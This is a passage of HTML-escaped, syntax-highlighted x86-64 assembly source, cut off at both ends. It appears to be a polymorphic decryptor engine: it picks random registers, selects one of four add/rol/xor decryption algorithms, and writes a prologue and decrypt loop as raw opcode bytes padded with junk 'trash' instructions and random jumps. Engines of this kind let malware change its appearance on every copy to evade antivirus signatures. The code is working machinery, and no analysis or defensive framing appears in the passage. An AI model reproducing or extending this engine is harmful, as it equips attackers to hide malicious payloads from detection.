    &lt;span class="nf"&gt;rol&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;                                  &lt;span class="c1"&gt;; secondary key&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xCAFE0F00&lt;/span&gt;
    &lt;span class="nf"&gt;shl&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;
    &lt;span class="nf"&gt;or&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xDEADC0DE&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;sec_key&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;stub_key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;                     &lt;span class="c1"&gt;; ensure different from user key&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;jne&lt;/span&gt; &lt;span class="nv"&gt;.keys_different&lt;/span&gt;
    &lt;span class="nf"&gt;not&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;stub_key&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
&lt;span class="nl"&gt;.keys_different:&lt;/span&gt;

    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; PRNG&lt;/span&gt;
&lt;span class="nl"&gt;next_random:&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;seed&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;shl&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;13&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;shr&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;17&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;shl&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;seed&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;random_range:&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;next_random&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.range_zero&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;div&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;
&lt;span class="nl"&gt;.range_zero:&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; random boolean&lt;/span&gt;
&lt;span class="nl"&gt;yes_no:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;next_random&lt;/span&gt;
    &lt;span class="nf"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xF&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;
    &lt;span class="nf"&gt;setbe&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;movzx&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; select random registers&lt;/span&gt;
&lt;span class="nl"&gt;get_rr:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;next_random&lt;/span&gt;
    &lt;span class="nf"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;REG_RSP&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;get_rr&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;REG_RAX&lt;/span&gt;                             &lt;span class="c1"&gt;; avoid rax as base&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;get_rr&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_base&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;

&lt;span class="nl"&gt;.retry_count:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;next_random&lt;/span&gt;
    &lt;span class="nf"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;REG_RSP&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.retry_count&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;REG_RAX&lt;/span&gt;                             &lt;span class="c1"&gt;; avoid rax as count&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.retry_count&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_base&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.retry_count&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_count&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;

&lt;span class="nl"&gt;.retry_key:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;next_random&lt;/span&gt;
    &lt;span class="nf"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;REG_RSP&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.retry_key&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_base&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.retry_key&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_count&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.retry_key&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_key&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;

&lt;span class="nl"&gt;.retry_junk1:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;next_random&lt;/span&gt;
    &lt;span class="nf"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;REG_RSP&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.retry_junk1&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;junk_reg1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;

&lt;span class="nl"&gt;.retry_junk2:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;next_random&lt;/span&gt;
    &lt;span class="nf"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;REG_RSP&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.retry_junk2&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;junk_reg1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.retry_junk2&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;junk_reg2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;

&lt;span class="nl"&gt;.retry_junk3:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;next_random&lt;/span&gt;
    &lt;span class="nf"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;REG_RSP&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.retry_junk3&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;junk_reg1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.retry_junk3&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;junk_reg2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.retry_junk3&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;junk_reg3&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; select algorithm&lt;/span&gt;
&lt;span class="nl"&gt;set_al:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;next_random&lt;/span&gt;
    &lt;span class="nf"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="nv"&gt;g0_dcr&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; generate prologue&lt;/span&gt;
&lt;span class="nl"&gt;gen_p:&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_jmp&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;trash&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;yes_no&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.skip_trash1&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;trash&lt;/span&gt;
&lt;span class="nl"&gt;.skip_trash1:&lt;/span&gt;

    &lt;span class="c1"&gt;; mov reg_key,key&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_jmp&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xB8&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;prolog_set&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;key&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;stosq&lt;/span&gt;

    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;yes_no&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.skip_trash2&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;trash&lt;/span&gt;
&lt;span class="nl"&gt;.skip_trash2:&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; generate decrypt loop&lt;/span&gt;
&lt;span class="nl"&gt;gen_dec:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;jmp_back&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;

    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;trash&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_jmp&lt;/span&gt;

    &lt;span class="c1"&gt;; mov reg_base,rdi (data pointer)&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x89&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xF8&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_base&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;trash&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_jmp&lt;/span&gt;

    &lt;span class="c1"&gt;; mov reg_count,rsi (size)&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x89&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xF0&lt;/span&gt;
    &lt;span class="nf"&gt;add&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nv"&gt;reg_count&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;stosb&lt;/span&gt;

    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;trash&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_jmp&lt;/span&gt;

&lt;span class="nl"&gt;.decr_loop:&lt;/span&gt;
    &lt;span class="nf"&gt;movzx&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rel&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="nv"&gt;g0_dcr&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.gen_algo_0&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.gen_algo_1&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.gen_algo_2&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.gen_algo_3&lt;/span&gt;

&lt;span class="nl"&gt;.gen_algo_0:&lt;/span&gt;
    &lt;span class="c1"&gt;; add/rol/xor&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_add_mem_key&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;trash&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_trash&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_rol_mem_16&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;trash&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_trash&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_xor_mem_key&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.gen_loop_end&lt;/span&gt;

&lt;span class="nl"&gt;.gen_algo_1:&lt;/span&gt;
    &lt;span class="c1"&gt;; xor/rol/xor&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_xor_mem_key&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;trash&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_trash&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_rol_mem_16&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;trash&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;gen_trash&lt;/span&gt;
